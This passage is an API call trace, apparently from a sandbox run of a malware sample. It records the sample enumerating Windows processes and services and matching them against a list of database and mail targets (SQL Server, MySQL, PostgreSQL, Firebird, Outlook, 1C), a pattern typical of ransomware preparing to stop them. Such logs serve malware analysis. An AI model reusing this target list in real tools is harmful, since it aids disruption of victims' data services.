[0261.778] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0261.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0261.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0261.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0261.778] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.778] lstrlenW (lpString="services.exe") returned 12 [0261.778] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0261.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0261.778] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0261.778] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0261.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0261.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0261.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0261.778] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.778] lstrlenW (lpString="lsass.exe") returned 9 [0261.778] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0261.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0261.779] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0261.779] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0261.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0261.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0261.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0261.779] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0261.779] lstrlenW (lpString="lsm.exe") returned 7 [0261.779] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0261.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0261.779] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0261.779] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0261.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0261.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0261.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0261.779] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.779] lstrlenW (lpString="svchost.exe") returned 11 [0261.780] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.780] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.780] lstrlenW (lpString="svchost.exe") returned 11 [0261.780] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.780] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.780] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.780] lstrlenW (lpString="svchost.exe") returned 11 [0261.781] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.781] lstrlenW (lpString="svchost.exe") returned 11 [0261.781] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.781] lstrlenW (lpString="svchost.exe") returned 11 [0261.781] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.781] lstrlenW (lpString="audiodg.exe") returned 11 [0261.781] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.782] lstrlenW (lpString="svchost.exe") returned 11 [0261.782] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.782] lstrlenW (lpString="svchost.exe") returned 11 [0261.782] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0261.782] lstrlenW (lpString="userinit.exe") returned 12 [0261.782] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.782] lstrlenW (lpString="dwm.exe") returned 7 [0261.782] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.783] lstrlenW (lpString="explorer.exe") returned 12 [0261.783] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.783] lstrlenW (lpString="spoolsv.exe") returned 11 [0261.783] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0261.783] lstrlenW (lpString="taskhost.exe") returned 12 [0261.783] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.783] lstrlenW (lpString="svchost.exe") returned 11 [0261.783] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0261.784] lstrlenW (lpString="chrome64b.exe") returned 13 [0261.784] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0261.784] lstrlenW (lpString="reader_sl.exe") returned 13 [0261.784] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0261.784] lstrlenW (lpString="dllhost.exe") returned 11 [0261.784] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0261.784] CloseHandle (hObject=0x398) returned 1 [0261.784] Sleep (dwMilliseconds=0x1f4) [0262.448] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4544810 [0262.562] EnumServicesStatusExW (in: hSCManager=0x4544810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0262.563] GetLastError () returned 0xea [0262.563] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe90) returned 0x454b168 [0262.563] EnumServicesStatusExW (in: hSCManager=0x4544810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454b168, cbBufSize=0xe90, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454b168, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0262.563] CloseServiceHandle (hSCObject=0x4544810) returned 1 [0262.563] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0262.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.563] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0262.563] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0262.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0262.563] lstrlenW (lpString="AudioSrv") returned 8 [0262.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0262.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0262.563] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0262.564] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0262.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0262.564] lstrlenW (lpString="BFE") returned 3 [0262.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0262.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0262.564] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0262.564] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0262.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0262.564] lstrlenW (lpString="CryptSvc") returned 8 [0262.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0262.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0262.564] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0262.564] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0262.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0262.564] lstrlenW (lpString="CscService") returned 10 [0262.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0262.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0262.564] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0262.564] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0262.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0262.564] lstrlenW (lpString="DcomLaunch") returned 10 [0262.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0262.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0262.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0262.564] lstrlenW (lpString="Dhcp") returned 4 [0262.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0262.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0262.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0262.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0262.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0262.565] lstrlenW (lpString="Dnscache") returned 8 [0262.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0262.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0262.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0262.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0262.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0262.565] lstrlenW (lpString="DPS") returned 3 [0262.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0262.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0262.565] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0262.565] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0262.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0262.565] lstrlenW (lpString="eventlog") returned 8 [0262.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0262.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0262.565] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0262.565] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0262.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0262.565] lstrlenW (lpString="EventSystem") returned 11 [0262.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0262.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0262.565] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0262.565] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0262.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0262.566] lstrlenW (lpString="gpsvc") returned 5 [0262.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0262.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0262.566] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0262.566] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0262.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0262.566] lstrlenW (lpString="iphlpsvc") returned 8 [0262.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.566] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0262.566] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0262.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0262.566] lstrlenW (lpString="LanmanServer") returned 12 [0262.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0262.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0262.566] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0262.566] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0262.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0262.566] lstrlenW (lpString="LanmanWorkstation") returned 17 [0262.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.566] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0262.566] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0262.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0262.566] lstrlenW (lpString="lmhosts") returned 7 [0262.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0262.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0262.566] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0262.567] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0262.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0262.567] lstrlenW (lpString="MMCSS") returned 5 [0262.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0262.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0262.567] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0262.567] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0262.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0262.567] lstrlenW (lpString="MpsSvc") returned 6 [0262.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0262.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0262.567] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0262.567] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0262.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0262.567] lstrlenW (lpString="NlaSvc") returned 6 [0262.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0262.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0262.567] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0262.567] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0262.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0262.568] lstrlenW (lpString="nsi") returned 3 [0262.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0262.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0262.568] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0262.568] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0262.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0262.568] lstrlenW (lpString="PcaSvc") returned 6 [0262.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0262.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0262.568] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0262.568] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0262.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0262.568] lstrlenW (lpString="PlugPlay") returned 8 [0262.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0262.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0262.568] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0262.568] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0262.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0262.568] lstrlenW (lpString="Power") returned 5 [0262.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0262.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0262.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0262.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0262.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0262.568] lstrlenW (lpString="ProfSvc") returned 7 [0262.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0262.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0262.569] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0262.569] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0262.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0262.569] lstrlenW (lpString="RpcEptMapper") returned 12 [0262.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.569] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0262.569] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0262.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0262.569] lstrlenW (lpString="RpcSs") returned 5 [0262.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0262.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0262.569] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0262.569] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0262.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0262.569] lstrlenW (lpString="SamSs") returned 5 [0262.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0262.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0262.569] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0262.569] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0262.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0262.569] lstrlenW (lpString="Schedule") returned 8 [0262.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0262.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0262.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0262.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0262.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0262.570] lstrlenW (lpString="SENS") returned 4 [0262.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0262.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0262.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0262.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0262.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0262.570] lstrlenW (lpString="ShellHWDetection") returned 16 [0262.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.570] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0262.570] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0262.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0262.570] lstrlenW (lpString="Spooler") returned 7 [0262.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0262.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0262.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0262.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0262.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0262.570] lstrlenW (lpString="SysMain") returned 7 [0262.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0262.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0262.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0262.570] 